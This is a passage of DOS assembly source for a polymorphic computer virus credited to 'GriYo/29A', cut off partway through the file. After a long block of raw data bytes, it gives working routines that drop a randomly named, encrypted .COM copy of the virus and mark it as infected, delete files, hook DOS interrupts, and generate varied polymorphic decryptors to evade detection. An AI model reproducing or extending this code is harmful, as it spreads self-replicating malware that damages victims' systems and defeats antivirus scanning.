db 0C8h,004h,07Fh,0FEh,002h,001h,087h,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h
|
||
db 000h,000h,000h,07Fh,0F0h,071h,0C8h,004h,07Fh,0FEh,002h,001h,007h,0FFh
|
||
db 0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,0FFh,0E0h,070h,0CFh,01Ch
|
||
db 07Fh,0FEh,03Fh,08Fh,003h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h
|
||
db 001h,0FFh,0E2h,070h,04Fh,01Ch,07Fh,0FEh,003h,08Fh,023h,0FFh,0FFh,0FFh
|
||
db 0FEh,000h,000h,000h,000h,000h,001h,0FFh,0E2h,032h,00Fh,01Ch,07Ch,03Eh
|
||
db 003h,08Eh,023h,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,001h,0FFh
|
||
db 0C0h,033h,00Fh,01Ch,07Ch,03Eh,03Fh,08Eh,001h,0FFh,0FFh,0FFh,0C0h,000h
|
||
db 000h,000h,000h,000h,001h,0FFh,0C0h,013h,08Fh,01Ch,07Fh,0FEh,003h,08Ch
|
||
db 001h,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,001h,0FFh,0C7h,013h
|
||
db 08Fh,01Ch,07Fh,0FEh,003h,08Ch,071h,0FFh,0FFh,0F0h,000h,000h,000h,000h
|
||
db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0E0h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h
|
||
db 001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h
|
||
db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0E0h,000h,000h,000h,0FFh,0C0h,000h,000h,000h,000h,000h,007h
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,001h,0FFh,0FFh,0E0h
|
||
db 000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0E0h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,007h,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,003h,0FFh,0FFh,0FFh,0E0h,000h,000h
|
||
db 000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,03Fh
|
||
db 0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0C0h,07Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h
|
||
db 000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E1h,0FFh,0FFh,0FFh
|
||
db 0FFh,0C0h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h
|
||
db 003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h
|
||
db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h
|
||
db 000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h
|
||
db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,07Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh
|
||
db 0FFh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ ID string ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
id_string db "<< Anti-ETA by GriYo/29A >>"
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Create a virus dropper in the current directory ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
drop_virus: call get_rnd
|
||
or al,al
|
||
jnz do_not_gen
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov es,ax
|
||
call hook_24h_03h
|
||
mov ax,0004h
|
||
call rand_in_range
|
||
inc ax
|
||
inc ax
|
||
mov cx,ax
|
||
mov di,offset dropper_name
|
||
push di
|
||
cld
|
||
generate_name: mov ax,0019h
|
||
call rand_in_range
|
||
add al,41h
|
||
stosb
|
||
loop generate_name
|
||
mov eax,"MOC."
|
||
mov dword ptr ds:[di],eax
|
||
mov dword ptr ds:[di+04h],00h
|
||
pop dx
|
||
mov ah,3Ch
|
||
xor cx,cx
|
||
int 03h
|
||
jc exit_generator
|
||
mov dword ptr ds:[host_type],"DROP" ; Set host type
|
||
mov word ptr ds:[delta],0100h ; Save delta offset
|
||
xchg bx,ax
|
||
push bx
|
||
mov si,inf_para_size*02h ; Allocate memory
|
||
call mem_alloc ; for a virus copy
|
||
pop bx ; and the virus body
|
||
or di,di
|
||
jz cant_drop
|
||
push bx
|
||
mov es,di
|
||
xor di,di
|
||
call gen_polymorph
|
||
add word ptr ds:[delta],di ; Save delta offset
|
||
xor si,si
|
||
mov cx,inf_byte_size
|
||
rep movsb
|
||
push di
|
||
push es
|
||
pop ds
|
||
call crypto03h ; Crypt area 03h
|
||
call crypto02h ; Crypt area 02h
|
||
call crypto01h ; Crypt area 01h
|
||
call gen_encryption
|
||
mov ah,40h ; Write virus
|
||
pop cx ; dropper
|
||
pop bx
|
||
sub dx,dx
|
||
int 03h
|
||
jc oh_shit
|
||
mov ah,2Ah ; Get current year
|
||
int 03h
|
||
mov ax,cx
|
||
sub ax,07BCh ; Years from 1980
|
||
call rand_in_range
|
||
shl al,1
|
||
mov dh,al
|
||
call get_rnd ; Get random date
|
||
and al,0FEh
|
||
mov dl,al
|
||
call rand_16 ; Get random time
|
||
and ax,7BE0h
|
||
or al,0Ah ; Mark as infected
|
||
mov cx,ax
|
||
mov ax,5701h
|
||
int 03h
|
||
oh_shit: mov ah,49h ; Free allocated
|
||
int 03h ; memory
|
||
push cs
|
||
pop ds
|
||
mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta
|
||
cant_drop: mov ah,3Eh ; Close file
|
||
int 03h
|
||
exit_generator: call free_24h_03h
|
||
do_not_gen: jmp exit21h
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Make a copy of file header ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
backup_header: push si
|
||
push di
|
||
push es
|
||
push ds
|
||
pop es
|
||
mov si,offset inf_header
|
||
mov di,offset old_header
|
||
mov cx,001Ch
|
||
cld
|
||
rep movsb
|
||
pop es
|
||
pop di
|
||
pop si
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Seek into file routines ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
seek_begin: xor al,al
|
||
jmp short seek_int_21h
|
||
seek_end: mov al,02h
|
||
seek_int_21h: mov ah,42h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
int 03h
|
||
jc seek_error
|
||
mov word ptr cs:[file_size],ax ; Save pointer
|
||
mov word ptr cs:[file_size+02h],dx ; position
|
||
clc
|
||
ret
|
||
seek_error: stc
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Delete file routine ³
|
||
;³ On entry: ³
|
||
;³ DS:DX -> ptr to the file name to delete ³
|
||
;³ DS:SI -> ptr to directory name ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
delete_file: push ds
|
||
pop es ; Get path of next
|
||
push si
|
||
push di
|
||
mov di,offset delete_path
|
||
push di
|
||
mov bx,di
|
||
cld
|
||
copy_del_path: lodsb
|
||
stosb
|
||
cmp al,"\"
|
||
jne no_slash_here
|
||
mov bx,di
|
||
no_slash_here: or al,al
|
||
jnz copy_del_path
|
||
mov si,dx ; Now write the name
|
||
mov di,bx ; of the file to delete
|
||
copy_del_name: lodsb ; next to path
|
||
stosb
|
||
or al,al
|
||
jnz copy_del_name
|
||
mov ax,4301h ; Wipe out the file
|
||
xor cx,cx ; attribute
|
||
pop dx
|
||
int 03h
|
||
|
||
mov ah,41h ; Delete filename
|
||
int 03h
|
||
pop di
|
||
pop si
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Hook int 24h to a dummy handler and redirect int 21h over int 3 ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
hook_24h_03h: push ax
|
||
push bx
|
||
push ds
|
||
push es
|
||
push cs
|
||
pop ds
|
||
mov al,03h
|
||
call get_int
|
||
mov word ptr ds:[old03h],bx
|
||
mov word ptr ds:[old03h+02h],es
|
||
mov dx,offset call21h
|
||
call set_int
|
||
mov al,24h
|
||
call get_int
|
||
mov word ptr ds:[old24h],bx
|
||
mov word ptr ds:[old24h+02h],es
|
||
mov dx,offset my24h
|
||
call set_int
|
||
pop es
|
||
pop ds
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Restore int 24h and 3 ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
free_24h_03h: push ax
|
||
push ds
|
||
mov al,03h
|
||
lds dx,dword ptr cs:[old03h]
|
||
call set_int
|
||
mov al,24h
|
||
lds dx,dword ptr cs:[old24h]
|
||
call set_int
|
||
pop ds
|
||
pop ax
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Virus critical error interrupt handler (int 24h) ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
my24h: sti
|
||
mov al,3 ; Return error in
|
||
iret ; function
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate polymorphic encryption ³
|
||
;³ On entry: ³
|
||
;³ DS -> virus code segment ³
|
||
;³ ES:DI -> position where the engine has to put the decryptor ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_polymorph: cld
|
||
call rand_16 ; Get displacement
|
||
and al,0FEh ; Avoid odd displace
|
||
mov word ptr ds:[eng_displace],ax
|
||
call rand_16 ; Get crypt key
|
||
mov word ptr ds:[eng_crypt_key],ax
|
||
mov byte ptr ds:[eng_recursive],00h ; Reset rec. counter
|
||
cmp dword ptr ds:[host_type],".EXE" ; 1st rnd block only
|
||
jne skip_1st_block ; on EXE files
|
||
call gen_rnd_block ; Block of rand data
|
||
skip_1st_block: mov word ptr ds:[eng_entry_point],di ; Decryptor entry
|
||
mov ax,(offset end_opcodes - offset opcodes_table)/02h
|
||
call rand_in_range
|
||
add ax,ax
|
||
mov si,offset opcodes_table ; Get pointer to
|
||
add si,ax ; random reg table
|
||
lodsw
|
||
mov si,ax
|
||
call gen_garbage
|
||
|
||
; At this point,
|
||
; DS:SI -> reg opcode table+01h
|
||
;
|
||
; +00h add [bp+nn],key
|
||
; rol [bp+nn],01h
|
||
; inc [bp+nn]
|
||
; +01h sub [bp+nn],key
|
||
; +02h xor [bp+nn],key
|
||
; +03h ror [bp+nn],01h
|
||
; dec [bp+nn]
|
||
; +04h add bp,inm
|
||
; +05h sub bp,inm
|
||
; +06h inc bp
|
||
; +07h cmp bp,inm
|
||
|
||
movsb ; mov reg,imm
|
||
mov word ptr ds:[eng_init_ptr],di
|
||
xor ax,ax
|
||
stosw
|
||
call gen_garbage
|
||
mov word ptr ds:[eng_loop_point],di
|
||
call gen_garbage
|
||
mov al,2Eh ; Get segment reg
|
||
stosb
|
||
mov ax,(offset end_crypt - offset crypt_table)/02h
|
||
call rand_in_range
|
||
add ax,ax
|
||
mov bx,offset crypt_table ; Get pointer to
|
||
add bx,ax ; crypt generator
|
||
call word ptr ds:[bx] ; Gen decrypt instr
|
||
call gen_garbage
|
||
mov ax,(offset end_inc_ptr - offset inc_ptr_table)/02h
|
||
call rand_in_range
|
||
add ax,ax
|
||
mov bx,offset inc_ptr_table ; Get pointer to
|
||
add bx,ax ; inc ptr generator
|
||
call word ptr ds:[bx] ; Gen inc ptr instr
|
||
call gen_garbage
|
||
mov al,81h
|
||
mov ah,byte ptr ds:[si+07h] ; Gen cmp reg,imm
|
||
stosw
|
||
mov word ptr ds:[eng_cmp_ptr],di
|
||
xor ax,ax
|
||
stosw
|
||
mov ax,di
|
||
sub ax,word ptr ds:[eng_loop_point]
|
||
cmp ax,7Fh
|
||
jb use_jmp_short
|
||
mov ax,0074h ; Gen je label
|
||
stosw ; garbage
|
||
push di ; jmp loop_point
|
||
call gen_garbage ; garbage
|
||
mov al,0E9h ; label:
|
||
stosb
|
||
mov ax,di
|
||
sub ax,word ptr ds:[eng_loop_point]
|
||
inc ax
|
||
inc ax
|
||
neg ax
|
||
stosw
|
||
call gen_garbage
|
||
pop bx
|
||
mov ax,di
|
||
sub ax,bx
|
||
mov byte ptr es:[bx-01h],al
|
||
jmp short continue_gen
|
||
use_jmp_short: inc al
|
||
inc al
|
||
neg al
|
||
mov ah,75h
|
||
xchg ah,al
|
||
stosw ; Gen jne loop_point
|
||
continue_gen: call gen_garbage
|
||
mov al,0E9h
|
||
stosb
|
||
push di
|
||
xor ax,ax
|
||
stosw
|
||
call gen_rnd_block ; Block of rand data
|
||
pop bx
|
||
mov ax,di
|
||
sub ax,bx
|
||
dec ax
|
||
dec ax
|
||
mov word ptr es:[bx],ax
|
||
mov ax,di
|
||
mov word ptr ds:[crypt_delta],ax
|
||
add ax,word ptr ds:[delta]
|
||
sub ax,word ptr ds:[eng_displace]
|
||
mov bx,word ptr ds:[eng_init_ptr] ; Ptr start of
|
||
mov word ptr es:[bx],ax ; encrypted code...
|
||
add ax,(inf_byte_size and 0FFFEh)+02h
|
||
mov bx,word ptr ds:[eng_cmp_ptr] ; Ptr end of
|
||
mov word ptr es:[bx],ax ; encrypted code...
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Perform encryption ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_encryption: mov si,word ptr cs:[crypt_delta]
|
||
mov di,si
|
||
mov cx,(inf_byte_size+01h)/02h
|
||
mov dx,word ptr cs:[eng_crypt_key]
|
||
loop_do_crypt: lodsw
|
||
db 0EBh,00h ; Clear prefetch
|
||
crypt_reverse dw 9090h ; Crypt/decrypt
|
||
stosw
|
||
loop loop_do_crypt
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate random data block ³
|
||
;³ On entry to rnd_fill_loop: ³
|
||
;³ ES:DI -> buffer to be filled ³
|
||
;³ CX -> buffer size in bytes ³
|
||
;³ Warning: direction flag must be clear ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_rnd_block: mov ax,004Bh ; Generate a block of
|
||
call rand_in_range ; random data
|
||
add ax,0019h
|
||
mov cx,ax
|
||
|
||
rnd_fill_loop: call get_rnd
|
||
stosb
|
||
loop rnd_fill_loop
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Do encryption with add instruction ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
crypt_add: mov al,81h
|
||
mov ah,byte ptr ds:[si]
|
||
stosw
|
||
mov ax,word ptr ds:[eng_displace] ; Disp
|
||
stosw
|
||
mov ax,word ptr ds:[eng_crypt_key] ; Key
|
||
stosw
|
||
mov ds:[crypt_reverse],0C22Bh ; sub ax,dx
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Do encryption with sub instruction ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
crypt_sub: mov al,81h
|
||
mov ah,byte ptr ds:[si+01H]
|
||
stosw
|
||
mov ax,word ptr ds:[eng_displace] ; Disp
|
||
stosw
|
||
mov ax,word ptr ds:[eng_crypt_key] ; Key
|
||
stosw
|
||
mov ds:[crypt_reverse],0C203h ; add ax,dx
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Do encryption with xor instruction ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
crypt_xor: mov al,81h
|
||
mov ah,byte ptr ds:[si+02h]
|
||
stosw
|
||
mov ax,word ptr ds:[eng_displace] ; Disp
|
||
stosw
|
||
mov ax,word ptr ds:[eng_crypt_key] ; Key
|
||
stosw
|
||
mov ds:[crypt_reverse],0C233h ; xor ax,dx
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Do encryption with rol instruction ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
crypt_rol: mov al,0D1h
|
||
mov ah,byte ptr ds:[si]
|
||
stosw
|
||
mov ax,word ptr ds:[eng_displace] ; Disp
|
||
stosw
|
||
mov ds:[crypt_reverse],0C8D1h ; ror ax,dx
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Do encryption with ror instruction ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
crypt_ror: mov al,0D1h
|
||
mov ah,byte ptr ds:[si+03h]
|
||
stosw
|
||
mov ax,word ptr ds:[eng_displace] ; Disp
|
||
stosw
|
||
mov ds:[crypt_reverse],0C0D1h ; sub ax,dx
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Do encryption with inc instruction ³
|
||
